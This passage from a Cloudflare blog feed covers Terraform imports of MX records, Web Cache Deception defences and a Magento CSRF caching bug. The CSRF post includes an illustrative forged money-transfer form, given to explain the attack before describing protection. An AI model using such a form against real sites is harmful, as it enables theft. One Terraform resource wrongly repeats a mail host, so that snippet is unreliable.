      "id": "ad6ee69519cd02a0155a56b6d64c278a",
      "type": "MX",
      "name": "example.com",
      "content": "alt3.aspmx.l.google.com",
      "proxiable": false,
      "proxied": false,
      "ttl": 1,
      "priority": 20,
      "locked": false,
      "zone_id": "e2e6491340be87a3726f91fc4148b126",
      "zone_name": "example.com",
      "modified_on": "2016-11-06T01:12:12.899684Z",
      "created_on": "2016-11-06T01:12:12.899684Z",
      "meta": {
        "auto_added": false,
        "managed_by_apps": false
      }
    },
    {
      "id": "baf6655f33738b7fd902630858878206",
      "type": "MX",
      "name": "example.com",
      "content": "alt4.aspmx.l.google.com",
      "proxiable": false,
      "proxied": false,
      "ttl": 1,
      "priority": 20,
      "locked": false,
      "zone_id": "e2e6491340be87a3726f91fc4148b126",
      "zone_name": "example.com",
      "modified_on": "2016-11-06T01:12:22.599272Z",
      "created_on": "2016-11-06T01:12:22.599272Z",
      "meta": {
        "auto_added": false,
        "managed_by_apps": false
      }
    },
    {
      "id": "a96d72b3c6afe3077f9e9c677fb0a556",
      "type": "MX",
      "name": "example.com",
      "content": "aspmx.lo.google.com",
      "proxiable": false,
      "proxied": false,
      "ttl": 1,
      "priority": 10,
      "locked": false,
      "zone_id": "e2e6491340be87a3726f91fc4148b126",
      "zone_name": "example.com",
      "modified_on": "2016-11-06T01:11:27.700386Z",
      "created_on": "2016-11-06T01:11:27.700386Z",
      "meta": {
        "auto_added": false,
        "managed_by_apps": false
      }
    },

    ...
  ]
}</code></pre>
            
    <div>
      <h5>ii. Create Terraform configuration for existing records</h5>
      <a href="#ii-create-terraform-configuration-for-existing-records">
        
      </a>
    </div>
    <p>In the previous step, we found 5 MX records that we wish to add.</p><table><tr><td><p><b>ID</b></p></td><td><p><b>Priority</b></p></td><td><p><b>Content</b></p></td></tr><tr><td><p>a96d72b3c6afe3077f9e9c677fb0a556</p></td><td><p>10</p></td><td><p>aspmx.lo.google.com</p></td></tr><tr><td><p>8ea8c36c8530ee01068c65c0ddc4379b</p></td><td><p>15</p></td><td><p>alt1.aspmx.l.google.com</p></td></tr><tr><td><p>ad0e9ff2479b13c5fbde77a02ea6fa2c</p></td><td><p>15</p></td><td><p>alt2.aspmx.l.google.com</p></td></tr><tr><td><p>ad6ee69519cd02a0155a56b6d64c278a</p></td><td><p>20</p></td><td><p>alt3.aspmx.l.google.com</p></td></tr><tr><td><p>baf6655f33738b7fd902630858878206</p></td><td><p>20</p></td><td><p>alt4.aspmx.l.google.com</p></td></tr></table><p>Before importing, we need to create Terraform configuration and give each record a unique name that can be referenced during the import.</p>
            <pre><code>$ cat &gt;&gt; cloudflare.tf &lt;&lt;'EOF'
resource "cloudflare_record" "mx-10" {
  domain  = "${var.domain}"
  name    = "${var.domain}"
  value   = "aspmx.lo.google.com"
  type    = "MX"
  priority = "10"
}
resource "cloudflare_record" "mx-15-1" {
  domain  = "${var.domain}"
  name    = "${var.domain}"
  value   = "alt1.aspmx.l.google.com"
  type    = "MX"
  priority = "15"
}
resource "cloudflare_record" "mx-15-2" {
  domain  = "${var.domain}"
  name    = "${var.domain}"
  value   = "alt2.aspmx.l.google.com"
  type    = "MX"
  priority = "15"
}
resource "cloudflare_record" "mx-20-1" {
  domain  = "${var.domain}"
  name    = "${var.domain}"
  value   = "alt3.aspmx.l.google.com"
  type    = "MX"
  priority = "20"
}
resource "cloudflare_record" "mx-20-2" {
  domain  = "${var.domain}"
  name    = "${var.domain}"
  value   = "alt3.aspmx.l.google.com"
  type    = "MX"
  priority = "20"
}
EOF</code></pre>
            
    <div>
      <h5>iii. Import resources into Terraform state</h5>
      <a href="#iii-import-resources-into-terraform-state">
        
      </a>
    </div>
    <p>Before we import the records, let's look at what would happen if we ran a <code>terraform apply</code>.</p>
            <pre><code>$ terraform plan | grep Plan
Plan: 5 to add, 0 to change, 0 to destroy.</code></pre>
            <p>Terraform does not know that these records already exist on Cloudflare, so until the import completes it will attempt to create them as new records. Below we import them one-by-one, specifying the name of the resource and the <code>zoneName/resourceID</code> returned by api.cloudflare.com.</p>
            <pre><code>$ terraform import cloudflare_record.mx-10 example.com/a96d72b3c6afe3077f9e9c677fb0a556
cloudflare_record.mx-10: Importing from ID "example.com/a96d72b3c6afe3077f9e9c677fb0a556"...
cloudflare_record.mx-10: Import complete!
  Imported cloudflare_record (ID: a96d72b3c6afe3077f9e9c677fb0a556)
cloudflare_record.mx-10: Refreshing state... (ID: a96d72b3c6afe3077f9e9c677fb0a556)

Import successful!

The resources that were imported are shown above. These resources are now in
your Terraform state and will henceforth be managed by Terraform.

$ terraform import cloudflare_record.mx-15-1 example.com/8ea8c36c8530ee01068c65c0ddc4379b
cloudflare_record.mx-15-1: Importing from ID "example.com/8ea8c36c8530ee01068c65c0ddc4379b"...
cloudflare_record.mx-15-1: Import complete!
  Imported cloudflare_record (ID: 8ea8c36c8530ee01068c65c0ddc4379b)
cloudflare_record.mx-15-1: Refreshing state... (ID: 8ea8c36c8530ee01068c65c0ddc4379b)

Import successful!

The resources that were imported are shown above. These resources are now in
your Terraform state and will henceforth be managed by Terraform.

$ terraform import cloudflare_record.mx-15-2 example.com/ad0e9ff2479b13c5fbde77a02ea6fa2c
cloudflare_record.mx-15-2: Importing from ID "example.com/ad0e9ff2479b13c5fbde77a02ea6fa2c"...
cloudflare_record.mx-15-2: Import complete!
  Imported cloudflare_record (ID: ad0e9ff2479b13c5fbde77a02ea6fa2c)
cloudflare_record.mx-15-2: Refreshing state... (ID: ad0e9ff2479b13c5fbde77a02ea6fa2c)

Import successful!

The resources that were imported are shown above. These resources are now in
your Terraform state and will henceforth be managed by Terraform.

$ terraform import cloudflare_record.mx-20-1 example.com/ad6ee69519cd02a0155a56b6d64c278a
cloudflare_record.mx-20-1: Importing from ID "example.com/ad6ee69519cd02a0155a56b6d64c278a"...
cloudflare_record.mx-20-1: Import complete!
  Imported cloudflare_record (ID: ad6ee69519cd02a0155a56b6d64c278a)
cloudflare_record.mx-20-1: Refreshing state... (ID: ad6ee69519cd02a0155a56b6d64c278a)

Import successful!

The resources that were imported are shown above. These resources are now in
your Terraform state and will henceforth be managed by Terraform.

$ terraform import cloudflare_record.mx-20-2 example.com/baf6655f33738b7fd902630858878206
cloudflare_record.mx-20-2: Importing from ID "example.com/baf6655f33738b7fd902630858878206"...
cloudflare_record.mx-20-2: Import complete!
  Imported cloudflare_record (ID: baf6655f33738b7fd902630858878206)
cloudflare_record.mx-20-2: Refreshing state... (ID: baf6655f33738b7fd902630858878206)

Import successful!

The resources that were imported are shown above. These resources are now in
your Terraform state and will henceforth be managed by Terraform.</code></pre>
            <p>Now when we run <code>terraform plan</code> it no longer wants to (re-)create the above records.</p>
            <pre><code>$ terraform plan | grep changes
No changes. Infrastructure is up-to-date.</code></pre>
            
    <div>
      <h3>Wrapping up</h3>
      <a href="#wrapping-up">
        
      </a>
    </div>
    <p>That's it for today! We covered the <a href="#addingloadbalancing">Load Balancing</a> and <a href="#usingpagerules">Page Rules</a> resources, as well as demonstrated how to <a href="#reviewingandrollingbackchanges">review and roll back configuration changes</a>, and <a href="#importingexistingstateandconfiguration">import state</a>.</p><p>Stay tuned for future Terraform blog posts, where we plan to show how to manage state effectively in a group setting, go multi-cloud with Terraform, and much more.</p> ]]></content:encoded>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Terraform]]></category>
            <category><![CDATA[Load Balancing]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[HashiCorp]]></category>
            <category><![CDATA[Programming]]></category>
            <guid isPermaLink="false">1MMQdxQ3AKGQ3JVvoMYFgB</guid>
            <dc:creator>Patrick R. Donahue</dc:creator>
        </item>
        <item>
            <title><![CDATA[Web Cache Deception Attack revisited]]></title>
            <link>https://blog.cloudflare.com/web-cache-deception-attack-revisited/</link>
            <pubDate>Fri, 19 Jan 2018 17:38:00 GMT</pubDate>
            <description><![CDATA[ In April, we wrote about Web Cache Deception attacks, and how our customers can avoid them using origin configuration.  Since our previous blog post, we have looked for but have not seen any large scale attacks like this in the wild. ]]></description>
            <content:encoded><![CDATA[ <p>In April, we wrote about <a href="/understanding-our-cache-and-the-web-cache-deception-attack/">Web Cache Deception attacks</a>, and how our customers can avoid them using origin configuration.</p><p>Read that blog post to learn about how to configure your website, and for those who are not able to do that, how to disable caching for certain URIs to prevent this type of attacks. Since our previous blog post, we have looked for but have not seen any large scale attacks like this in the wild.</p><p>Today, we have released a tool to help our customers make sure only assets that should be cached are being cached.</p>
    <div>
      <h3>A brief re-introduction to Web Cache Deception attack</h3>
      <a href="#a-brief-re-introduction-to-web-cache-deception-attack">
        
      </a>
    </div>
    <p>Recall that the Web Cache Deception attack happens when an attacker tricks a user into clicking a link in the format of <code>http://www.example.com/newsfeed/foo.jpg</code>, when <code>http://www.example.com/newsfeed</code> is the location of a dynamic script that returns different content for different users. For some website configurations (default in Apache but not in nginx), this would invoke <code>/newsfeed</code> with <a href="https://tools.ietf.org/html/rfc3875#section-4.1.5"><code>PATH_INFO</code></a> set to <code>/foo.jpg</code>. If <code>http://www.example.com/newsfeed/foo.jpg</code> does not return the proper <code>Cache-Control</code> headers to tell a web cache not to cache the content, web caches may decide to cache the result based on the extension of the URL. The attacker can then visit the same URL and retrieve the cached content of a private page.</p><p>The proper fix for this is to configure your website to either reject requests with the extra <code>PATH_INFO</code> or to return the proper <code>Cache-Control</code> header. Sometimes our customers are not able to do that (maybe the website is running third-party software that they do not fully control), and they can apply a Bypass Cache Page Rule for those script locations.</p>
    <div>
      <h3>Cache Deception Armor</h3>
      <a href="#cache-deception-armor">
        
      </a>
    </div>
    
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/KOEBIR0VfOtdSOjvueaLv/7898ccfe2589400017b74e2a928d4e20/photo-1460194436988-671f763436b7" />
            
            </figure><p>Photo by <a href="https://unsplash.com/@enzo74?utm_source=ghost&amp;utm_medium=referral&amp;utm_campaign=api-credit">Henry Hustava</a> / <a href="https://unsplash.com/?utm_source=ghost&amp;utm_medium=referral&amp;utm_campaign=api-credit">Unsplash</a></p><p>The new Cache Deception Armor Page Rule protects customers from Web Cache Deception attacks while still allowing static assets to be cached. It verifies that the URL's extension matches the returned <code>Content-Type</code>. In the above example, if <code>http://www.example.com/newsfeed</code> is a script that outputs a web page, the <code>Content-Type</code> is <code>text/html</code>. On the other hand, <code>http://www.example.com/newsfeed/foo.jpg</code> is expected to have <code>image/jpeg</code> as <code>Content-Type</code>. When we see a mismatch that could result in a Web Cache Deception attack, we will not cache the response.</p><p>There are some exceptions to this. For example if the returned <code>Content-Type</code> is <code>application/octet-stream</code> we don't care what the extension is, because that's typically a signal to instruct the browser to save the asset instead of to display it. We also allow <code>.jpg</code> to be served as <code>image/webp</code> or <code>.gif</code> as <code>video/webm</code> and other cases that we think are unlikely to be attacks.</p><p>This new Page Rule depends upon <a href="https://support.cloudflare.com/hc/en-us/articles/115003206852s">Origin Cache Control</a>. A <code>Cache-Control</code> header from the origin or Edge Cache TTL Page Rule will override this protection.</p> ]]></content:encoded>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Best Practices]]></category>
            <guid isPermaLink="false">f3uB5nHEVeLV7BA4Q2wzt</guid>
            <dc:creator>Ka-Hing Cheung</dc:creator>
        </item>
        <item>
            <title><![CDATA[The Curious Case of Caching CSRF Tokens]]></title>
            <link>https://blog.cloudflare.com/the-curious-case-of-caching-csrf-tokens/</link>
            <pubDate>Wed, 13 Dec 2017 14:00:00 GMT</pubDate>
            <description><![CDATA[ It is now commonly accepted as fact that web performance is critical for business. Slower sites can affect conversion rates on e-commerce stores, they can affect your sign-up rate on your SaaS service and lower the readership of your content. ]]></description>
            <content:encoded><![CDATA[ <p>It is now commonly accepted as fact that web performance is critical for business. Slower sites can affect conversion rates on <a href="https://www.cloudflare.com/ecommerce/">e-commerce stores</a>, they can affect your sign-up rate on your SaaS service and lower the readership of your content.</p><p>In the run-up to Thanksgiving and Black Friday, e-commerce sites turned to services like Cloudflare to help <a href="https://www.cloudflare.com/solutions/ecommerce/optimization/">optimise their performance</a> and withstand the traffic spikes of the shopping season.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1Bees9K4tKCi83vUBqpmsf/0436f1a0d72b5230e17b5a8ee2b90889/23910AEA00000578-2852835-Shoppers_scramble_to_pick_up_one-8_1417169462181.jpg" />
            
            </figure><p>In preparation, an e-commerce customer joined Cloudflare on the 9th November, a few weeks before the shopping season. Instead of joining via our Enterprise plan, they were a self-serve customer who signed-up by subscribing to our Business plan online and switching their nameservers over to us.</p><p>Their site was running Magento, a notably slow e-commerce platform - filled with lots of interesting PHP, with a considerable amount of soft code in XML. Running version 1.9, the platform was somewhat outdated (Magento was totally rewritten in version 2.0 and subsequent releases).</p><p>Despite the somewhat dated technology, the e-commerce site was "good enough" for this customer and had done it's job for many years.</p><p>They were the first to notice an interesting technical issue surrounding how performance and security can often feel at odds with each other. Although they were the first to highlight this issue, into the run-up of Black Friday, we ultimately saw around a dozen customers on Magento 1.8/1.9 have similar issues.</p>
    <div>
      <h3>Initial Optimisations</h3>
      <a href="#initial-optimisations">
        
      </a>
    </div>
    <p>After signing-up for Cloudflare, the site owners attempted to make some changes to ensure their site was loading quickly.</p><p>The website developers had already ensured the site was loading over HTTPS, in doing so they were able to ensure their site was loading over the new HTTP/2 Protocol and made some changes to ensure their site was optimised for HTTP/2 (for details, see our blog post on <a href="/http-2-for-web-developers/">HTTP/2 For Web Developers</a>).</p><p>At Cloudflare we've taken steps to ensure that there isn't a latency overhead for establishing a secure TLS connection, here is a non-complete list of optimisations we use:</p><ul><li><p><a href="/tls-session-resumption-full-speed-and-secure/">TLS Session Resumption</a></p></li><li><p><a href="/high-reliability-ocsp-stapling/">OCSP Stapling</a></p></li><li><p>Fast <a href="/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/">Elliptic Curve Cryptography</a> prioritised</p></li><li><p><a href="/optimizing-tls-over-tcp-to-reduce-latency/">Dynamic TLS Record Sizing</a></p></li></ul><p>Additionally, they had enabled <a href="/announcing-support-for-http-2-server-push-2/">HTTP/2 Server Push</a> to ensure critical CSS/JS assets could be pushed to clients when they made their first request. Without Server Push, a client has to download the HTML response, interpret it and then work out assets it needs to download.</p><p>Big images were Lazy Loaded, only downloading them when they needed to be seen by the users. Additionally, they had enabled a Cloudflare feature called <a href="/a-very-webp-new-year-from-cloudflare/">Polish</a>. With this enabled, Cloudflare dynamically works out whether it's faster serve an image in <a href="https://developers.google.com/speed/webp/">WebP</a> (a new image format developed by Google) or whether it's faster to serve it in a different format.</p><p>These optimisations did make some improvement to performance, but their site was still slow.</p>
    <div>
      <h3>Respect The TTFB</h3>
      <a href="#respect-the-ttfb">
        
      </a>
    </div>
    <p>In web performance, there are a few different things which can affect the response times - I've crudely summarised them into the following three categories:</p><ul><li><p><b>Connection &amp; Request Time</b> - Before a request can be sent off for a website to load something, a few things need to happen: DNS queries, a TCP handshake to establish the connection with the web server and a TLS handshake to establish a secure connection</p></li><li><p><b>Page Render</b> - A dynamic site needs to query databases, call APIs, write logs, render views, etc before a response can be made to a client</p></li><li><p><b>Response Speed</b> - Downloading the response from web server, browser-side rendering of the HTML and pulling the other resources linked in the HTML</p></li></ul><p>The e-commerce site had taken steps to improve their <i>Response Speed</i> by enabling HTTP/2 and performing other on-site optimisations. They had also optimised their <i>Connection &amp; Response Time</i> by using a <a href="https://www.cloudflare.com/learning/cdn/what-is-a-cdn/">CDN service</a> like Cloudflare to provide fast DNS and reduce latency when optimising TLS/TCP connections.</p><p>However, they now realised the critical step they needed to optimise was around the <i>Page Render</i> that would happen on their web server.</p><p>By looking at a Waterfall View of how their site loaded (similar to the one below) they could see the main constraint.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3xj4dTK90yYqCe8l77rAtH/a85111cd2d50928073dc90d7233baac1/time-to-first-byte.png" />
            
            </figure><p>Example Waterfall view from WebSiteOptimization.com</p><p>On the initial request, you can see the green "Time to First Byte" view taking a very long time.</p><p>Many browsers have tools for viewing Waterfall Charts like the one above, Google provide some excellent documentation for Chrome on doing this: <a href="https://developers.google.com/web/tools/chrome-devtools/network-performance/">Get Started with Analyzing Network Performance in Chrome DevTools</a>. You can also generate these graphs fairly easily from site speed test tools like <a href="https://www.webpagetest.org/">WebPageTest.org</a>.</p><p>Time to First Byte itself is an often misunderstood metric and often can't be attributed to a single fault. For example; using a CDN service like Cloudflare may increase TTFB by a few milliseconds, but do so to the benefit of an overall load time. This can be as the CDN is adding additional compression functionality to speed up the response, or simply as it has to establish a connection back to the origin web server (which isn't visible by the client).</p><p>There are instances where it is important to debug why TTFB is a problem. For example; in this instance, the e-commerce platform was taking upwards of 3 seconds just to generate the HTML response. In this case, it was clear the constraint was the server-side <i>Page Render</i>.</p><p>When the web server was generating dynamic content, it was having to query databases and perform logic before a request could be served. In most instances (i.e. a product page) the page would be identical to every other request. It would only be when someone would add something to their shopping cart that the site would really become dynamic.</p>
    <div>
      <h3>Enabling Cookie-Based Caching</h3>
      <a href="#enabling-cookie-based-caching">
        
      </a>
    </div>
    <p>Before someone logs into the the Magento admin panel or adds something to their shopping cart, the page view is anonymous and will be served up identically to every visitor. It will only be the when an anonymous visitor logs in or adds something to their shopping cart that they will see a page that's dynamic and unlike every other page that's been rendered.</p><p>It therefore is possible to cache those anonymous requests so that Magento on an origin server doesn't need to constantly regenerate the HTML.</p><p>Cloudflare users on our Business Plan are able to cache anonymous page views when using Magneto using our Bypass Cache on Cookie functionality. This allows for static HTML to be cached at our edge, with no need for it to be regenerated from request to request.</p><p>This provides a huge performance boost for the first few page visits of a visitor, and allows them still to interact with the dynamic site when they need to. Additionally, it helps keep load down on the origin server in the event of traffic spikes, sparing precious server CPU time for those who need it to complete dynamic actions like paying for an order.</p><p>Here's an example of how this can be configured in Cloudflare using the Page Rules functionality:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7pBjTSCiHvMVLi5J1spu0E/9731ebfb1521b397c7fa22e19fbc263a/Screen-Shot-2017-11-30-at-13.57.40.png" />
            
            </figure><p>The Page Rule configuration above instructs Cloudflare to "Cache Everything (including HTML), but bypass the cache when it sees a request which contains any of the cookies: <code>external_no_cache</code>, <code>PHPSESSID</code> or <code>adminhtml</code>. The final <code>Edge Cache TTL</code> setting just instructs Cloudflare to keep HTML files in cache for a month, this is necessary as Magento by default uses headers to discourage caching.</p><p>The site administrator configured their site to work something like this:</p><ol><li><p>On the first request, the user is anonymous and their request indistinguishable from any other - their page can be served from the Cloudflare cache</p></li><li><p>When the customer adds something to their shopping cart, they do that via a <code>POST</code> request - as methods like <code>POST</code>, <code>PUT</code> and <code>DELETE</code> are intended to change a resource, they bypass the Cloudflare cache</p></li><li><p>On the <code>POST</code> request to add something to their shopping cart, Magento will set a cookie called <code>external_no_cache</code></p></li><li><p>As the site owner has configured Cloudflare to bypass the cache when we see a request containing the <code>external_no_cache</code> cookie, all subsequent requests go direct to origin</p></li></ol><p>This behaviour can be summarised in the following crude diagram:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/ZuitM2bncUoJNYpHFC1A1/e6678ca0768bf540ea8a23acbb09a6f3/Screen-Shot-2017-12-12-at-14.00.59.png" />
            
            </figure><p>The site administrators initially enabled this configuration on a subdomain for testing purposes, but noticed something rather strange. When they would add something to the cart on their test site, the cart would show up empty. If they then tried again to add something to the cart, the item would be added successfully.</p><p>The customer reported one additional, interesting piece of information - when they tried to mimic this cookie-based caching behaviour internally using Varnish, they faced the exact same issue.</p><p>In essence, the <i>Add to Cart</i> functionality would fail, but only on the first request. This was indeed odd behaviour, and the customer reached out to Cloudflare Support.</p>
    <div>
      <h3>Debugging</h3>
      <a href="#debugging">
        
      </a>
    </div>
    <p>The customer wrote in just as our Singapore office were finishing up their afternoon and was initially triaged by a Support Engineer in that office.</p><p>The Support Agent evaluated what the problem was and initially identified that if the <code>frontend</code> cookie was missing, the <i>Add to Cart</i> functionality would fail.</p><p>No matter which page you access on Magento, it will attempt to set a <code>frontend</code> cookie, even if it doesn't add an <code>external_no_cache</code> cookie</p><p>When Cloudflare caches static content, the default behaviour is to strip away any cookies coming from the server if the file is going to end up in cache - this is a security safeguard to prevent customers accidentally caching private session cookies. This applies when a cached response contains a <code>Set-Cookie</code> header, but does not apply when the cookie is set via JavaScript - in order to allow functionality like Google Analytics to work.</p><p>They had identified that the caching logic at our network edge was working fine, but for whatever reason Magento would refuse to add something to a shopping cart without a valid <code>frontend</code> cookie. Why was this?</p><p>As Singapore handed their shift work over to London, the Support Engineer working on this ticket decided to escalate the ticket up to me. This was largely as, towards the end of last year, I had owned the re-pricing of this feature (which opened it up to our self-service Business plan users, instead of being Enterprise-only). That said; I had not touched Magneto in many years, even when I was working in digital agencies I wasn't the most enthusiastic to build on it.</p><p>The Support Agent provided some internal comments that described the issue in detail and their own debugging steps, with an effective "TL;DR" summary:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/78Icys6dPunTt7NhKgPJA0/b8e0e03814e7ca602a7445f6cecc0ec3/Screen-Shot-2017-11-30-at-20.42.09.png" />
            
            </figure><p>Debugging these kinds of customer issues is not as simple as putting breakpoints into a codebase. Often, for our Support Engineers, the customers origin server acts as a black-box and there can be many moving parts, and they of course have to manage the expectations of a real customer at the other end. This level of problem solving fun, is one of the reasons I still like answering customer support tickets when I get a chance.</p><p>Before attempting to debug anything, I double checked that the Support Agent was correct that nothing had gone wrong on our end - I trusted their judgement and no others customers were reporting their caching functionality had broken, but it is always best to cross-check manual debugging work. I ran some checks to ensure that there were no regressions in our Lua codebase that controls caching logic:</p><ul><li><p>Checked that there were no changes to this logic in our internal code respository</p></li><li><p>Check that automated tests are still in place and build successfully</p></li><li><p>Run checks on production to verify that caching behaviour still works as normal</p></li></ul><p>As Cloudflare has customers across so many platforms, I also checked to ensure that there were no breaking changes in Magento codebase that would cause this bug to occur. Occasionally we find our customers accidentally come across bugs in CMS platforms which are unreported. This, fortunately, was not one of those instances.</p><p>The next step is to attempt to replicate the issue locally and away from the customers site. I spun up a vanilla instance of Magento 1.9 and set it up with an identical Cloudflare configuration. The experiment was successful and I was able to replicate the customer issue.</p><p>I had an instinctive feeling that it was the Cross Site Request Forgery Protection functionality that was at fault here and I started tweaking my own test Magento installation to see if this was the cases.</p><p>Cross Site Request Forgery attacks work by exploiting the fact that one site on the internet can get a client to make requests to another site.</p><p>For example; suppose you have an online bank account with the ability to send money to other accounts. Once logged in, there is a form to send money which uses the following HTML:</p>
            <pre><code>&lt;form action="https://example.com/send-money"&gt;
Account Name:
&lt;input type="text" name="account_name" /&gt;
Amount:
&lt;input type="text" name="amount" /&gt;
&lt;input type="submit" /&gt;
&lt;/form&gt;</code></pre>
            <p>After logging in and doing your transactions, you don't log-out of the website - but you simply navigate elsewhere online. Whilst browsing around you come across a button on a website that contains the text "Click me! Why not?". You click the button, and £10,000 goes from your bank account to mine.</p><p>This happens because the button you clicked was connected to an endpoint on the banking website, and contained hidden fields instructing it to send me £10,000 of your cash:</p>
            <pre><code>&lt;form action="https://example.com/send-money"&gt;
&lt;input type="hidden" name="account_name" value="Junade Ali" /&gt;
&lt;input type="hidden" name="amount" value="10,000" /&gt;
&lt;input type="submit" value="Click me! Why not?" /&gt;
&lt;/form&gt;</code></pre>
            <p>In order to prevent these attacks, CSRF Tokens are inserted as hidden fields into web forms:</p>
            <pre><code>&lt;form action="https://example.com/send-money"&gt;
Account Name:
&lt;input type="text" name="account_name" /&gt;
Amount:
&lt;input type="text" name="amount" /&gt;
&lt;input type="hidden" name="csrf_protection" value="hunter2" /&gt;
&lt;input type="submit" /&gt;
&lt;/form&gt;</code></pre>
            <p>A cookie is first set on the clients computer containing a random session cookie. When a form is served to the client, a CSRF token is generated using that cookie. The server will check that the CSRF token submitted in the HTML form actually matches the session cookie, and if it doesn't block the request.</p><p>In this instance, as there was no session cookie ever set (Cloudflare would strip it out before it entered cache), the <code>POST</code> request to the <i>Add to Cart</i> functionality could never verify the CSRF token and the request would fail.</p><p>Due to CSRF vulnerabilities, Magento applied CSRF protection to all forms; this broke Full Page Cache implementations in Magento 1.8.x/1.9.x. You can find all the details in the <a href="https://magento.com/security/patches/supee-6285">SUPEE-6285 patch documentation</a> from Magento.</p>
    <div>
      <h3>Caching Content with CSRF Protected Forms</h3>
      <a href="#caching-content-with-csrf-protected-forms">
        
      </a>
    </div>
    <p>To validate that CSRF Tokens were definitely at fault here, I completely disabled CSRF Protection in Magento. Obviously you should never do this in production, I found it slightly odd that they even had a UI toggle for this!</p><p>Another method which was created in the Magento Community was an extension to disable CSRF Protection just for the Add To Cart functionality (<a href="https://github.com/deivisonarthur/Inovarti_FixAddToCartMage18/blob/master/README.md">Inovarti_FixAddToCartMage18</a>), under the argument that CSRF risks are far reduced when we're talking about <i>Add to Cart</i> functionality. This is still not ideal, we should ideally have CSRF Protection on every form when we're talking about actions which change site behaviour.</p><p>There is, however, a third way. I did some digging and identified a Magento plugin that effectively uses JavaScript to inject a dynamic CSRF token the moment a user clicks the <i>Add to Cart</i> button but just before the request is actually submitted. There's quite a lengthy Github thread which outlines this issue and references the Pull Requests which fixed this behaviour in the <a href="https://github.com/nexcess/magento-turpentine/issues/345">the Magento Turpentine plugin</a>. I won't repeat the set-up instructions here, but they can be found in an article I've written on the Cloudflare Knowledge Base: <a href="https://support.cloudflare.com/hc/en-us/articles/236168808-Caching-Static-HTML-with-Magento-version-1-2-">Caching Static HTML with Magento (version 1 &amp; 2)</a></p><p>Effectively what happens here is that the dynamic CSRF token is only injected into the web page the moment that it's needed. This is actually the behaviour that's implemented in other e-commerce platforms and Magento 2.0+, allowing Full Page Caching to be implemented quite easily. We had to recommend this plugin as it wouldn't be practical for the site owner to simply update to Magneto 2.</p><p>One thing to be wary of when exposing CSRF tokens via an AJAX endpoint is <a href="https://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses">JSON Hijacking</a>. There are some tips on how you can prevent this in the <a href="https://www.owasp.org/index.php/AJAX_Security_Cheat_Sheet#Always_return_JSON_with_an_Object_on_the_outside">OWASP AJAX Security Cheat Sheet</a>. Iain Collins has a Medium post with further discussion on the security merits of <a href="https://medium.com/@iaincollins/csrf-tokens-via-ajax-a885c7305d4a">CSRF Tokens via AJAX</a> (that said, however you're performing CSRF prevention, <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">Same Origin Policies</a> and <a href="https://www.owasp.org/index.php/HttpOnly">HTTPOnly cookies</a> FTW!).</p><p>There is an even cooler way you can do this using Cloudflare's <a href="/introducing-cloudflare-workers/">Edge Workers</a> offering. Soon this will allow you to run JavaScript at our Edge network, and you can use that to dynamically insert CSRF tokens into cached content (and, then either perform cryptographic validation of CSRF either at our Edge or the Origin itself using a shared secret).</p>
    <div>
      <h3>But this has been a problem since 2015?</h3>
      <a href="#but-this-has-been-a-problem-since-2015">
        
      </a>
    </div>
    <p>Another interesting observation is that the Magento patch which caused this interesting behaviour had been around since July 7, 2015. Why did our Support Team only see this issue in the run-up to Black Friday in 2017? What's more, we ultimately saw around a dozen support tickets around this exact issue on Magento 1.8/1.9 over the course over 6 weeks.</p><p>When an Enterprise customer ordinarily joins Cloudflare, there is a named Solutions Engineer who gets them up and running and ensures there is no pain; however when you sign-up online with a credit card, your forgo this privilege.</p><p>Last year, we released Bypass Cache on Cookie to self-serve users when a lot of e-commerce customers were in their Christmas/New Year release freeze and not making changes to their websites. Since then, there were no major shopping events; most the sites enabling this feature were new build websites using Magento 2 where this wasn't an issue.</p><p>In the run-up to Black Friday, performance and coping under load became a key consideration for developers working on legacy e-commerce websites - and they turned to Cloudflare. Given the large, but steady, influx of e-commerce websites joining Cloudflare - the low overall percentage of those on Magento 1.8/1.9 became noticeable.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>Caching anonymous page views is an important, and in some cases, essential mechanism to dramatically improve site performance to substantially reduce site load, especially during traffic spikes. Whilst aggressively caching content when users are anonymous, you can bypass the cache and allow users to use the dynamic functionality your site has to offer.</p><p>When you need to insert a dynamic state into cached content, JavaScript offers a nice compromise. JavaScript allows us to cache HTML for anonymous page visits, but insert a state when the users interact in a certain way. In essence, defusing this conflict between performance and security. In the future you'll be able to run this JavaScript logic at our network edge using Cloudflare <a href="/introducing-cloudflare-workers/">Edge Workers</a>.</p><p>It also remains important to respect the RESTful properties of HTTP and ensure <code>GET</code>, <code>OPTIONS</code> and <code>HEAD</code> requests remain safe and instead using <code>POST</code>, <code>PUT</code>, <code>PATCH</code> and <code>DELETE</code> as necessary.</p><p>If you're interested in debugging interesting technical problems on a network that sees around 10% of global internet traffic, <a href="https://www.cloudflare.com/careers/jobs/?department=Customer+Support">we're hiring for Support Engineers</a> in San Francisco, London, Austin and Singapore.</p> ]]></content:encoded>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[SaaS]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <category><![CDATA[HTTPS]]></category>
            <category><![CDATA[Cache]]></category>
            <guid isPermaLink="false">3eU2FDtvxwJSqAIlRad4rB</guid>
            <dc:creator>Junade Ali</dc:creator>
        </item>
        <item>
            <title><![CDATA[Ecommerce websites on Cloudflare: best practices]]></title>
            <link>https://blog.cloudflare.com/ecommerce-best-practices/</link>
            <pubDate>Tue, 25 Apr 2017 07:45:00 GMT</pubDate>
